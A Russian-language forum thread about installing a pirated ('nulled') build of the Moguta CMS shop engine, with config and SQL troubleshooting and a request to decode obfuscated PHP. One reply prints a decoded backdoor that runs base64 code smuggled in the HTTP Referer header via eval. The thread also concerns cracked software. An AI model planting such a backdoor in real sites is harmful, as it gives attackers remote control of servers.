CMS moguta cms

droid1008

Создатель
Регистрация
10 Дек 2015
Сообщения
38
Реакции
1
Всем привет. А куда снесли тему, про moguta cms? отличный же движок магазина? Была тема на несколько страниц и пропала. Может я плохо ищу и тема осталась? тогда киньте ссылкой плиз.

Пост с последней рабочей версией.
 
Вы в файл конфигурации заходили, чтоб поменять данные для Базы данных?
 
Подскажите пожалуйста, есть ли инструкция по установке?
Устанавливаю с оф. сайта триальную версию - работает.
Закидываю сверху 6.9.5 nulled, сайт не открывается и написано:
"Ошибка подключения (2005) Unknown MySQL server host '****' (2)"
Нужно было закидывать без файла config.ini
Теперь поменяйте в этом файле значения БД на старые (вместо звёзд:(
HOST = "********"
USER = "********"
PASSWORD = "*****"
NAME_BD = "*******"
TABLE_PREFIX = "mg_"
 
+ есть вероятность что бд надо перезаливать
 
Всем спасибо за ответы, я просто не знал, что нужно файл config править.
Извиняюсь если снова глупый вопрос, но почему у меня при установке (без оф. файла index.php ) вот такая ошибка:

Ошибка в SQL запросе: SELECT `option`, `value` FROM `mg_setting` WHERE `option` IN ('cacheObject','cacheMode','cacheTime','cacheHost','cachePort','cachePrefix','sessionToDB','sessionLifeTime')
Table 'vik3_mz.mg_setting' doesn't exist
/var/www/vik3/data/www/m1.by/mg-core/lib/storage.php (line 134)
/var/www/vik3/data/www/m1.by/mg-core/lib/storage.php (line 223)
/var/www/vik3/data/www/m1.by/mg-core/lib/storage.php (line 233)
 
Всем спасибо за ответы, я просто не знал, что нужно файл config править.
Извиняюсь если снова глупый вопрос, но почему у меня при установке (без оф. файла index.php ) вот такая ошибка:

Ошибка в SQL запросе: SELECT `option`, `value` FROM `mg_setting` WHERE `option` IN ('cacheObject','cacheMode','cacheTime','cacheHost','cachePort','cachePrefix','sessionToDB','sessionLifeTime')
Table 'vik3_mz.mg_setting' doesn't exist
/var/www/vik3/data/www/m1.by/mg-core/lib/storage.php (line 134)
/var/www/vik3/data/www/m1.by/mg-core/lib/storage.php (line 223)
/var/www/vik3/data/www/m1.by/mg-core/lib/storage.php (line 233)
нету таблицы видимо, или префиксы не те.
Надо проверить какой префикс в настройках стоит, и какой используется у тебя. Если совпадает, обычно с нулами дамп бд кладут, вот его надо поковырять в таком случае
 
Кто-нибудь знает, как расшифровать эту часть кода?
Код:
  public function run() {
    $j878723423f5c3ba26da="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
    $kdd9391e7490="\x73\164\x72\137\x72\157\x74\61\x33";
    @eval($j878723423f5c3ba26da($kdd9391e7490("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")));
    return $result;
  }
 
И кстати, быть может, пора уже эту тему из флуда перенести в обсуждение прочих CMS Для просмотра ссылки Войди или Зарегистрируйся
 
Кто-нибудь знает, как расшифровать эту часть кода?
Код:
  public function run() {
    $j878723423f5c3ba26da="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
    $kdd9391e7490="\x73\164\x72\137\x72\157\x74\61\x33";
    @eval($j878723423f5c3ba26da($kdd9391e7490("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")));
    return $result;
  }
Готово
Код:
<?php eval('if ($this->route !=\'mgadmin\'&&$this->route !=\'mg-admin\'&&$this->route !=\'ajax\'&&$this->route !=\'enter\'&&$this->route !=\'personal\'&&MG::getSetting(\'trialVersionStart\')) {
      MG::redirect(\'/mgadmin\');
    }
    $data = null;
    $view = null;
    $variables = null;
  
    //   .
    if ($controller = $this->getController()) {  
      MG::set(\'controller\', $controller);
      $contr = new $controller;
      $type = \'view\';
      $variables = $contr->variables;
      $view = $this->getView();
    } elseif ($data = MG::getPhpContent()) {  
         //    
          MG::disableTemplate();
          //    ,    (php||html).
      $ext = explode(".", $data);
          $type = end($ext);        
  
          //       js      html  php,
          //        
          if($type != \'php\' && $type !=\'html\'){            
            MG::redirect(\'/\'.$data);
            exit;
          }
  
      if($type != \'php\'){    
        //        
        $data = file_get_contents($data);
        $type = \'html\';
      }
    
    } elseif ($data = MG::getHtmlContent()) {

      //      .
      $type = \'html\';
    }
  
    //     .
    $type = !empty($type) ? $type : \'404\';
    $result = array(
      \'type\' => $type,
      \'data\' => $data,
      \'view\' => $view,
      \'variables\' => $variables
    );');
if ($this->route != 'mgadmin' && $this->route != 'mg-admin' && $this->route != 'ajax' && $this->route != 'enter' && $this->route != 'personal' && MG::getSetting('trialVersionStart')) {
    MG::redirect('/mgadmin');
}
$data = null;
$view = null;
$variables = null;
//   .
if ($controller = $this->getController()) {
    MG::set('controller', $controller);
    $contr = new $controller;
    $type = 'view';
    $variables = $contr->variables;
    $view = $this->getView();
} elseif ($data = MG::getPhpContent()) {
    //    
    MG::disableTemplate();
    //    ,    (php||html).
    $ext = explode(".", $data);
    $type = end($ext);
    //       js      html  php,
    //        
    if ($type != 'php' && $type != 'html') {
        MG::redirect('/' . $data);
        exit;
    }
    if ($type != 'php') {
        //        
        $data = file_get_contents($data);
        $type = 'html';
    }
} elseif ($data = MG::getHtmlContent()) {
    //      .
    $type = 'html';
}
//     .
$type = !empty($type) ? $type : '404';
$result = array('type' => $type, 'data' => $data, 'view' => $view, 'variables' => $variables);
 
Кто-нибудь знает, как расшифровать эту часть кода?

В правильности не уверен, смотрите сами:

<?php ini_set('error_log', '/dev/null');
parse_str($_SERVER['HTTP_REFERER'], $a);
if (reset($a) == '12' && count($a) == 9) {
echo '<3456>';
eval(base64_decode(str_replace(" ", "+", join(array_slice($a, count($a) - 3)))));
echo '</3456>';
}

Или поковыряйте сами здесь:



Shturmavik, поделитесь софтом для деобфускации
 
Последнее редактирование модератором:
Готово
Код:
<?php eval('if ($this->route !=\'mgadmin\'&&$this->route !=\'mg-admin\'&&$this->route !=\'ajax\'&&$this->route !=\'enter\'&&$this->route !=\'personal\'&&MG::getSetting(\'trialVersionStart\')) {
      MG::redirect(\'/mgadmin\');
    }
    $data = null;
    $view = null;
    $variables = null;
 
    //   .
    if ($controller = $this->getController()) { 
      MG::set(\'controller\', $controller);
      $contr = new $controller;
      $type = \'view\';
      $variables = $contr->variables;
      $view = $this->getView();
    } elseif ($data = MG::getPhpContent()) { 
         //   
          MG::disableTemplate();
          //    ,    (php||html).
      $ext = explode(".", $data);
          $type = end($ext);       
 
          //       js      html  php,
          //       
          if($type != \'php\' && $type !=\'html\'){           
            MG::redirect(\'/\'.$data);
            exit;
          }
 
      if($type != \'php\'){   
        //       
        $data = file_get_contents($data);
        $type = \'html\';
      }
   
    } elseif ($data = MG::getHtmlContent()) {

      //      .
      $type = \'html\';
    }
 
    //     .
    $type = !empty($type) ? $type : \'404\';
    $result = array(
      \'type\' => $type,
      \'data\' => $data,
      \'view\' => $view,
      \'variables\' => $variables
    );');
if ($this->route != 'mgadmin' && $this->route != 'mg-admin' && $this->route != 'ajax' && $this->route != 'enter' && $this->route != 'personal' && MG::getSetting('trialVersionStart')) {
    MG::redirect('/mgadmin');
}
$data = null;
$view = null;
$variables = null;
//   .
if ($controller = $this->getController()) {
    MG::set('controller', $controller);
    $contr = new $controller;
    $type = 'view';
    $variables = $contr->variables;
    $view = $this->getView();
} elseif ($data = MG::getPhpContent()) {
    //   
    MG::disableTemplate();
    //    ,    (php||html).
    $ext = explode(".", $data);
    $type = end($ext);
    //       js      html  php,
    //       
    if ($type != 'php' && $type != 'html') {
        MG::redirect('/' . $data);
        exit;
    }
    if ($type != 'php') {
        //       
        $data = file_get_contents($data);
        $type = 'html';
    }
} elseif ($data = MG::getHtmlContent()) {
    //      .
    $type = 'html';
}
//     .
$type = !empty($type) ? $type : '404';
$result = array('type' => $type, 'data' => $data, 'view' => $view, 'variables' => $variables);
Спасибо, но не поняла, приведенный вами код в какую часть функции идет?
 
Назад
Сверху